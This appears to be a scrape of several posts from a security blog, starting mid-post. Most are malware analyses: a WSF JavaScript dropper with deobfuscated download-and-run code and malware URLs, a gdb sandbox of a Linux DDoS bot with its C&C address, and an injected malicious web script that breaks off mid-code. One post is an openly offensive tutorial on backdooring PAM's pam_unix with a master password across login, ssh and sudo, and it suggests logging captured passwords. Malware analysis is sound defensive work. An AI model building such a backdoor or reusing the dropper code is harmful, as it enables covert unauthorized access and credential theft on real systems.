The code relies heavily of variables.There is a lot of affectation:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> var VYd = "ct" + "";
var ZMv = "je" + "";
var UJd = "teOb" + "";
var AYe0 = "ea" + "";
var Co7 = "Cr" + "";
</code></pre>
<br />
Then, later on:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> var IUh=WScript[Co7 + AYe0 + UJd + ZMv + VYd]
</code></pre>
<br />
<h3>
2/2/ Obfuscation : use of useless functions - 1</h3>
We see also a lot of useless function which produce in output the input given:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> function Xr1(WDv){return WDv;};
function Wu6(Jw3){return Jw3;};
</code></pre>
<br />
And then, it's use:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> IUh[OEc2 + ZBb4](Yr2[Yc8 + USr + Wu6(En) + Gt2]);
</code></pre>
<br />
Still, it's just basic obfuscation<br />
<h3>
2/3/ Obfuscation : use of useless functions - 2</h3>
There is another use of useless function. They are called only once, and produce a fixed output. We can find them from time to time:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> var SWh3=[Ww + NBp4 + (function BEs0(){return Xk6;}()) + IHx1 + QMa + CAi2, JRu9(QVt0) + Ir4 + MIs + XKm + Vo];
</code></pre>
<br />
<br />
The SWh3 var can be simplified like:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> var SWh3=[Ww + NBp4 + Xk6 + IHx1 + QMa + CAi2, QVt0 + Ir4 + MIs + XKm + Vo];
</code></pre>
<br />
<br />
<h3>
2/4/ Unobfuscate</h3>
That's not really hard. Load all vars, then replace them in expression, remove all useless functions, and calculate the strings.<br />
<br />
<h2>
3/ part 2 - unobfuscation</h2>
Once the vars renamed, we can see the big picture of the file:<br />
<br />
<h3>
3/1/ vars declaration</h3>
The file begins with almost 700 lines of var declaration.<br />
<br />
But only one line is really interesting:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> var VVq=[Jj+Qo5 + ZKy+(function PGr3(){return STa5;}())+ASs2 +
(function ICe1(){return XOl;}())+Aq5+MDs6 + Ty9+GZq + Pe+Pa1 +
Mp4+Xr1(Rq8)+(function WXz(){return Xw5;}()),
(function Ni8(){return Jj;}())+Eb+Lp0+Zv+Gu+RSq + JXa+Jv+Ne+
Wp + Yg+Ov + Kz1+RZl8+BBv + COk+IYz, Qe+Kg7+Em+Uc +
(function Ci(){return KKd1;}())+(function PJm6(){return Iq0;}())+
FWe(MAp7)+Uq3+Xv1 + Mf + DOo6+Nm(TEz5)+Ex5];
</code></pre>
<br />
<br />
Which can be read as:<br />
<span style="font-family: "courier new" , "courier" , monospace;">var VVq=[element1, element2, element3]</span><br />
<br />
this declares a table of three elements. After search and replace vars, we can read:<br />
<span style="font-family: "courier new" , "courier" , monospace;"> http://callatisinstitut[.]fr/fytdty8o<br /> http://www.guapaweb[.]jazztel.es/o54b6<br /> http://exclusive-closet[.]com/wqcs8fk</span><br />
<br />
<h3>
3/2/ a PRNG</h3>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> function uheprng()
function rawprng()
function Mash()
</code></pre>
If you google this, you can find that's a random number generator. It will be used later.<br />
<br />
<h3>
3/3/ The juicy part (vars unobfuscated)</h3>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> var IUh=WScript[CreateObject](ADODB.Stream);
IUh[open]();
IUh[type]=2;
IUh[write](Yr2[ResponseBody]);
IUh[position]=0;
IUh[SaveToFile](DJt9, Kn5);
IUh[close]();
var GHq4=Nh(DJt9); // Ok
GHq4=Zy(GHq4); // This function is important
if (GHq4[length] < 100 * 1024 || GHq4[length] > 230 * 1024 || !ZZr(GHq4))
{
ORj1=1;
continue;
}
try
{
STn /* H */(Vh9, GHq4); // it renames the file with .exe
}
catch (e) {break;};
Sn[Run](Vh9 + " 321"); //It runs the exe file with 321 as argument
break;
</code></pre>
<br />
<h3>
3/4/ the Zy function</h3>
the Zy() function is interesting:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> function Zy(WPx8)
{
var NKh;
var Je = uheprng();
for (var KFh4=0; KFh4 < WPx8[length]; KFh4++)
{
WPx8[KFh4] ^= Je(256);
}
(other stuff...)
</code></pre>
<br />
<br />
We can see that it XOR all bytes with the prng initialized to the value 256.<br />
<br />
<h3>
3/5/ The NH() and <span style="font-family: "arial" , "helvetica" , sans-serif;">STn /* H */() functions</span></h3>
Those functions looks more or less the same. It opens a file, then do byte translations if charCode > 128.<br />
Maybe I'm missing something, but we don't need that to unobfuscate the exe file.<br />
<br />
<h2>
4/ Decrypt exe file</h2>
We have the download URLs, a wget is enough to get the file.<br />
The hard part is to generate all the pseudo random numbers. I choose the easy way: Copy paste the PRNG function in a js file, then generate enough pseudo random numbers to use them later:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> function uheprng() {return (function() {
var o = 48, c = 1, p = o, s = new Array(o);
var i,j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 5806 - 5806; i < o; i++) s[i] = mash(0.598538);
mash = null;
var random = function( range ) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
function rawprng() {
if (++p >= o) p = 0;
var t = (482628 * 3 + 320979) * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | 0);
}return random;}());};
function Mash() {
var n = 0xefc8249d;
var mash = function(data) {
if ( data ) {
data = data.toString();
for (var i = 0; i < data.length; i++) {
n += data.charCodeAt(i);
var h = 0.02519603282416938 * n;
n = h >>> 0;
h -= n;
h *= n;
n = h >>> 0;
h -= n;
n += h * 0x100000000;
}
return (n >>> (1 * 0)) * 2.3283064365386963e-10;
} else n = 0xefc8249d;
};
return mash;
}
var Je = uheprng()
for (var i=0; i<200000; i++){
print(Je(256)); }
</code></pre>
and we can save all those numbers in a file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/infected/zipped_wsf$ js24 UHE_prng.js > prng_js
mitsurugi@dojo:~/chall/infected/zipped_wsf$
</code></pre>
<br />
Then a wget and an easy python script will get you the exe file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> f=open("mal_file","ro")
data=f.read()
f.close()
f=open("prng_js","ro")
p=f.readlines()
f.close()
prng=[]
for i in p:
prng.append(int(i.strip()))
out=[]
for i in range(len(data)):
o=ord(data[i])^prng[i]
out.append(chr(o))
out=''.join(out)
output=open("data","wb")
output.write(out)
output.close()
</code></pre>
and we get:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./unxor.py 8f72pw
mitsurugi@dojo:~/chall/infected/zipped_wsf$ file data
data: PE32 executable (GUI) Intel 80386, for MS Windows
mitsurugi@dojo:~/chall/infected/zipped_wsf$
</code></pre>
<br />
Now, we need somebody brave enough to launch it with 321 as an argument<br />
<br />
<h2>
5/ Automatize all the things</h2>
I wrote two python scripts. The first one extracts URLs from the zip file. The second one unxor the file. This is quick&dirty scripts and "It works for me" (tm)<br />
<br />
Usage:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./analyze.py 4F6B513_mitsu.zip
Extracting zip
[+] Ok zip contains one file ending in .wsf
Get obfusctated js
[+] Assigning a long var, seems good
[+] We have to reverse the string
Parsing obfuscated and getting URLs
[+] printing download URLs
http://mana114[.]takara-bune.net/iqfywp
http://sichenia[.]omniadvert.it/7xxsn8
http://callatisinstitut[.]fr/fytdty8o
mitsurugi@dojo:~/chall/infected/zipped_wsf$ wget -q http://mana114[.]takara-bune.net/iqfywp
mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./unxor.py iqfywp
mitsurugi@dojo:~/chall/infected/zipped_wsf$ file data
data: PE32 executable (GUI) Intel 80386, for MS Windows
mitsurugi@dojo:~/chall/infected/zipped_wsf$</code></pre>
<br />
<br />
Warning:<br />
<ul>
<li>The python file does an eval() for concatenating all vars. It's considered dangerous. Use at your own risk.</li>
<li>Some zip file are not exactly the same and my parser doesn't handle those. The logic behind is the same, but you will have to do analysis by hand. For what I saw, it's the same logic: unxor a file with a PRNG</li>
<li>Be aware that those scripts relies on a very small subset of zipfile and relies on a lot of assumptions. </li>
<li>Be aware that I'm using the PRNG with 256 as a fixed value. If its change, the unxor won't work. </li>
<li>If you have some sample which doesn't work, I can take a look.</li>
</ul>
<br />
Here is the link to the github repo: <a href="https://github.com/0xmitsurugi/Analyzing-zip-file-with-.wsf-file-inside">https://github.com/0xmitsurugi/Analyzing-zip-file-with-.wsf-file-inside</a><br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<br /></div>
<div style="text-align: right;">
<i>Our greatest glory is not in never falling, but in rising every time we fall!</i></div>
<div style="text-align: right;">
<br /></div>
<div style="text-align: right;">
<i>You are not judged by the way you fall. </i></div>
<div style="text-align: right;">
<i>You are judged by the way you get up after.</i></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-12838305121128567742016-06-27T23:21:00.000+02:002016-06-27T23:33:53.156+02:00Sandboxing a linux malware with gdb<h3>
1/ Intro</h3>
<br />
As I was browsing malwr.com the other day, I noticed some ELF malware. I choose to analyze one.<br />
At first, it was just to learn some things, but in the end, I've finished by writing a full gdb script which was able to monitor safely all communication of this malware.<br />
<h3>
2/ Discovery</h3>
The file in question is a x86_64 ELF, statically linked, not stripped (!), weighting ~ 200kBytes:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">mitsurugi@dojo:~/infected$ file Rx64
Rx64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
mitsurugi@dojo:~/infected$ ls -l Rx64
-rw-r--r-- 1 mitsurugi mitsurugi 204783 juin 20 17:54 Rx64
mitsurugi@dojo:~/infected$
</code></pre>
<i><br /></i>
<i>(spoiler off: in the end, I learn that this is DDOSbot/gayfgt family sample)</i><br />
<h3>
3/ Reverse</h3>
The reversing is not difficult, there is no obfuscation, no anti debug, no persistence. The binary only tries to be stealthy by forking at startup in order to hide its name, and it connects to a C&C, awaiting for commands.<br />
<br />
The protocol used is really simple, it's a textual command/response one:<br />
<ul>
<li>regularly, the server sends 'PING', the client replies 'PONG' and vice-versa</li>
<li>the server can close the communication</li>
<li>the server sets a secret at first use. Any call to the bot without that secret won't be followed by any action. The syntax is "!<secret> <action>"</li>
<li>the server can call any shell command</li>
<li>the server can call some other functions (flood and scan, basically)</li>
</ul>
Reverse was done, and an idea appears: why use this malware to connect to its C&C while being monitored?<br />
<br />
The logic of the bot can be seen as:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">main()
doing some forks, but only one process remains
connection to C&C
A big loop here
Some code to manage all the forks process if any
Read data from network
if PING, send PONG
if DUP, then exit()
if starting with !<secret> sh <args> => fork and call shell
if starting with !<secret> command args => call function (fork and flood or scan) </code></pre>
<br />
There is nothing really dangerous here. If we just block the shell and flood/scan commands, we end up with a simple client awaiting orders. With this legitimate client, we could connect to the C&C and hear it speak to us. We have to navigate through all the forks, and avoid dangerous commands but with gdb you can put a breakpoint and set $rip elsewhere.<br />
<h3>
4/ Instrument it</h3>
While I was analysing the file, I begun to write a gdb script in order to skip the forks, to print the C&C server, skip all dangerous function. This script became the one I'm showing here.<br />
<br />
In the end, every dangerous function is totally neutralized, and I was able to launch it under gdb (and tor) the malware. It connects to the C&C and receive all commands :-) <br />
<br />
Here is a live transcript, nothing exciting is showing, just endless PING/PONG reply after a SCANNER OFF (interesting, is the C&C really up?)<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">root@kali:~# gdb -q Rx64
Reading symbols from Rx64...(no debugging symbols found)...done.
gdb$ source breakpoints
###################################
# Starting instrumented binary
###################################
Nothing ventured, nothing gained.
You can't do anything without risking something.
Breakpoint 1 at 0x406731
Breakpoint 2 at 0x4067d0
Breakpoint 3 at 0x406466
Breakpoint 4 at 0x40689b
Breakpoint 5 at 0x4069df
Breakpoint 6 at 0x406a4d
Breakpoint 7 at 0x406c4d
Breakpoint 8 at 0x406e0b
gdb$ r
Starting program: /root/Rx64
Breakpoint 1, 0x0000000000406731 in main ()
main() function
Breakpoint 2, 0x00000000004067d0 in main ()
Skipping all the forks
and the setsid
Breakpoint 3, 0x0000000000406466 in initConnection ()
We got currentServer!
0x417120: "208.67.1.114:23"
Continuing...
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
*******************************
* C&C is talking to us:
*0x7fffffffd090: "!* SCANNER OFF\n"
*******************************
/!\ DANGER: COMMAND /!\
C&C sends a command
Will safely ignore it
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
*******************************
* C&C is talking to us:
*0x7fffffffd090: "PING\n"
*******************************
buf: PONG
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
*******************************
* C&C is talking to us:
*0x7fffffffd090: "PING\n"
*******************************
buf: PONG
^C
Program received signal SIGINT, Interrupt.
gdb$
</code></pre>
<br />
<h3>
5/ Conclusion</h3>
The malware is a well known linux malware, called <a href="https://www.google.fr/search?q=ddosbot+gayfg">DDOSbot or gayfgt</a>, there is even some source sample available on internet.<br />
<br />
Binary and gdb script are available on github:<br />
<a href="https://github.com/0xmitsurugi/SandboxingMalware">https://github.com/0xmitsurugi/SandboxingMalware</a> <br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<span style="font-size: x-small;"><i>Talk is easy, action is difficult.</i></span></div>
<div style="text-align: right;">
<span style="font-size: x-small;"><i>Action is easy, true understanding is difficult</i></span></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-39943556785441496302016-06-16T18:04:00.002+02:002016-06-17T14:11:14.533+02:00Creating a backdoor in PAM in 5 line of codeUnder Linux (and other Oses), authentification of users is made through Pluggable Authentication Module, aka <a href="https://en.wikipedia.org/wiki/Pluggable_authentication_module">PAM</a>. Having centralized authentication is a good thing. But it has a drawback: if you trojanize it, you get key for everything. <i>Trojan once, pwn evrywhere!</i><br />
<br />
<h3>
1/ Intro</h3>
Pam has three concepts: username, password and service. Its role is authenticate people to a service with a password. <br />
<br />
Pam configuration is done under /etc/pam.d/ directory where each service has its own file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@dojo:/etc/pam.d# ls
atd common-password lightdm-greeter polkit-1 sudo
chfn common-session login ppp systemd-user
chpasswd common-session-noninteractive runuser vmtoolsd
chsh cron newusers runuser-l xscreensaver
common-account lightdm other sshd
common-auth lightdm-autologin passwd su
root@dojo:/etc/pam.d#
</code></pre>
<br />
Basically, each one of those file calls a shared library, where the authentication or other kind things related to auth is done:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@dojo:/etc/pam.d# head login
#
# The PAM configuration file for the Shadow `login' service
#
# Enforce a minimal delay in case of failure (in microseconds).
# (Replaces the `FAIL_DELAY' setting from login.defs)
# Note that other modules may require another minimal delay. (for example,
# to disable any delay, you should add the nodelay option to pam_unix)
auth optional pam_faildelay.so delay=3000000
root@dojo:/etc/pam.d#
</code></pre>
<br />
And that'st he same kind of config files for all services. As I said, we want to backdoor PAM. We don't want to backdoor everything, we just want to be able to succeed in authentication with a choosen password, independantly of the real password of the user.<br />
<br />
Almost all services include the <b>common-auth</b> file, and you can guess what is done here by its name.<br />
<br />
<h3>
2/ Backdooring pam_unix.so in common-auth</h3>
The common-auth file has many directives, but the only important line here is the one checking the password of a user:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">auth [success=1 default=ignore] pam_unix.so nullok_secure
</code></pre>
<br />
The common-auth file calls the <b>pam_unix.so</b> shared library and authentication of user is done here. The logic of this file is easy to understand:<br />
<ul>
<li>get username</li>
<li>get password</li>
<li>calls a subfunction to validate password against username</li>
</ul>
So, why don't add an <b><i>if</i></b> statement?<br />
<ul>
<li>get username</li>
<li>get password</li>
<li>if password == "0xMitsurugi" then grant access, else calls the legitimate subfunction</li>
</ul>
Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam_unix_auth.c file:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ vi modules/pam_unix/pam_unix_auth.c</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9DGs_ZzJmDy3scjmeHalULnXBGaLvR5sSj-_Rk1L2BShrPNtc5N22XewQuCgX17Fs9_lWl7EuvsVdlkMuV73bWErY-V7_zaHoK6sCB-vbJROgKQrvYYdvNddsEONQMIMdqOt0m2TK-Aw/s1600/PAM_auth.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9DGs_ZzJmDy3scjmeHalULnXBGaLvR5sSj-_Rk1L2BShrPNtc5N22XewQuCgX17Fs9_lWl7EuvsVdlkMuV73bWErY-V7_zaHoK6sCB-vbJROgKQrvYYdvNddsEONQMIMdqOt0m2TK-Aw/s1600/PAM_auth.png" /></a></div>
<br />
Let's change this by:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMaTk2zNrnjKzmkDRXWiXrhq-oCdF9wRG0YeCwUJxH1rim41zPY8I_BlwrXEPAQobfD2uyOlbeCuT_v8ILftDD6qu2tSaibGTcrx1aNXmgF2lt0RXieYiB6EMia21OJTGUhTnxNbVgT2I/s1600/PAM_unix2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMaTk2zNrnjKzmkDRXWiXrhq-oCdF9wRG0YeCwUJxH1rim41zPY8I_BlwrXEPAQobfD2uyOlbeCuT_v8ILftDD6qu2tSaibGTcrx1aNXmgF2lt0RXieYiB6EMia21OJTGUhTnxNbVgT2I/s1600/PAM_unix2.png" /></a></div>
<br />
Recompile the pam_unix_auth.c, end replace the pam_unix.so file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ make
(...)
mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$
</code></pre>
<br />
<h3>
3/ Profit !</h3>
Try with <b>login</b>, with <b>ssh</b>, with <b>sudo</b>, with <b>su</b>, with the <b>screensaver</b>, your access will be granted with "0xMitsurugi" password. Open access for all accounts \o/ <br />
<br />
The best part of this is that everything else works as usual. Put your real password, it works. Put a bad one, it fails. Users can change their password, you can audit the strength of the shadow file, you can check for hidden files, you can check for config file modified, open ports, "weird logs", you'll get nothing, but attacker can still get in. Another great advantage of this is that it can remain undetected for a long time. <br />
<br />
You can also add logging features in order to catch all password entered, that's an exercise left to the reader.<br />
<br />
<h3>
4/ Enjoy responsibly</h3>
Real friends don't backdoor theirs friend's machines.<br />
<br />
<div style="text-align: right;">
0xMitsurugi<br />
<i>No one can take Soul Edge from me!</i> </div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com1tag:blogger.com,1999:blog-8227611414371590425.post-35464261100202303782016-06-15T15:39:00.001+02:002016-06-15T15:39:44.042+02:00Analysis of an Evil JavascriptSome days ago, I was invited to check the security of a website.<br />
A customer was complaining of getting alert from its AV while browsing a website, but a visual inspection of the webpage did not reveal anything.<br />
<br />
<h3>
1/ Watch closely</h3>
<div style="text-align: right;">
<i>Come back when you're ready! (Denaoshite koi!)</i></div>
<br />
When dealing with infected website, you can start with a simple wget (or curl) and analyze the result. For this time, wget would retrieve an inoffensive HTML file, so the first analysis shows nothing. But if you specify an Internet Explorer User-Agent, you get a different file, way more interesting.<br />
That's a simple and effective trick made by attackers to stay undetected, because infected javascripts are not sent to everybody, only for innocents victims with vulnerable browsers, and not for security analysts. This is usually done with an <a href="http://stackoverflow.com/questions/8362539/mobile-website-redirection-based-on-user-agent">.htaccess file</a>.<br />
<br />
The file I got with a MSIE User-agent looks like this:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> $ wget -U "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US))" http://victim.website.tld/path/to/page.html
$ cat page.html
<span id="screenXConfirm" style="display:none">0 23 2cs2 czc22 1m3a i12 5b5 1-f2 2b2 3 11 -12
(...4000 chars later on this only line...)
7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco</span>
<script>
passwordOnkeyup="\x69";switchEval="\x61";newMimeTypes="\x72";pageYOffsetPlugin="\x74"
(... 11000 chars later on this only line...)
defaultFunction=onkeydownOpener; continueDecodeURIComponent(pkcs11Taint)();layersWith="\x76\x65\x72";pkcs11Taint=layersWith;layersWith+=layersWith
</script>
<noscript>
Error displaying the error page: Application Instantiation Error: Failed to start the session because headers have already been sent by "/jail/var/www/vhosts/victim.website.tld/httpdocs/includes/defines.php" at line 123.
</code></pre>
<br />
The script part is interesting. It's filled up with variables, and those names looks like javascript names and functions. After a bit of code beautifying, we can see in the end:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (...)
pkcs11Taint+=setIntervalVolatile;
setIntervalVolatile=pageYOffsetFloat;
pkcs11Taint+=clearIntervalOnkeyup;
clearIntervalOnkeyup=onresetVolatile;
pkcs11Taint+=charWindow;
charWindow="\x74\x76\x71";
pkcs11Taint+=ArrayElements;
pkcs11Taint+=staticFloat;
pkcs11Taint+=defaultFunction;
defaultFunction=onkeydownOpener;
continueDecodeURIComponent(pkcs11Taint)();
layersWith="\x76\x65\x72";
pkcs11Taint=layersWith;
layersWith+=layersWith;
</script>
</code></pre>
<br />
We understand that the pcks11Taint is a string slowly built, variable after variable, which is called like a function thanks to <span style="font-family: "courier new" , "courier" , monospace;">continueDecodeURIComponent(pkcs11Taint)();</span><br />
<br />
Another nice trick is that the pkcs11Taint strings is cleared up right after being called. So, if you try to do some kind of symbolic execution through all the script, you end up with absolutely nothing interesting. You can also see that all the temporary variables are reseted right after evaluation.<br />
<br />
<h3>
2/ Second Layer</h3>
<div style="text-align: right;">
<i>You'll be in hell... Before me!</i></div>
<br />
Following this path is really easy. Just change the continueDecodeURIComponent(pkcs11Taint)(); with an alert(); and you'll see this javascript. I beautify it again, and we see:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> a=document.getElementById("screenXConfirm").innerHTML.replace(/[^\d ]/g,"").split(" ");
for(i=(+[window.sidebar])+(+[window.chrome]);i<a.length;i++)a[i]=parseInt(a[i])^98;
c="constructor";
[][c][c](String.fromCharCode.apply(null,a))();
</code></pre>
<br />
Remember the <span id=screenXConfirm ...> we saw just before? We remove everything except numbers and space in order to fill a table.<br />
Then, we XOR all value from the table with the value 98 and we finally execute what we got from the table, translated back to characters.<br />
<br />
Here is a little python code to see the result (why python? just because.)<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">1: #! /usr/bin/python
2: import re
3: screenXConfirm="0 23 2cs2 czc (...c/c from page.html...) 7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"
4:
5: screenXConfirm=screenXConfirm.split(" ")
6: translated_js=[]
7: for i in screenXConfirm:
8: num=int(re.sub(r"[^\d ]","",i))
9: translated_js.append(chr(num^98))
10:
11: print ''.join(translated_js)
12:
</code></pre>
<br />
<h3>
3/ Third Layer</h3>
<div style="text-align: right;">
<i>No mercy!</i></div>
<br />
The python code gives this (once again, the code has been beautified for readability):<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> buttonUntaint = (+[window.sidebar]) + (+[window.chrome]);
oncontextmenuOnmousedown = ["rv:11", "MSIE", ];
for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < oncontextmenuOnmousedown.length; propertyIsEnumWhile++) {
if (navigator.userAgent.indexOf(oncontextmenuOnmousedown[propertyIsEnumWhile]) > buttonUntaint) {
undefinedFinally = oncontextmenuOnmousedown.length - propertyIsEnumWhile;
break;
}
}
if (navigator.userAgent.indexOf("MSIE 10") > buttonUntaint) {
undefinedFinally++;
}
continueNew = "6pbXWbAoyVTSfe";
onloadCheckbox = document.getElementById("screenXConfirm").innerHTML;
constEncodeURIComponent = buttonFalse = buttonUntaint;
isFiniteDocument = "";
onloadCheckbox = onloadCheckbox.replace(/[^a-z]/g, "");
for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < onloadCheckbox.length; propertyIsEnumWhile++) {
formsEncodeURIComponent = onloadCheckbox.charCodeAt(propertyIsEnumWhile);
if (constEncodeURIComponent % undefinedFinally) {
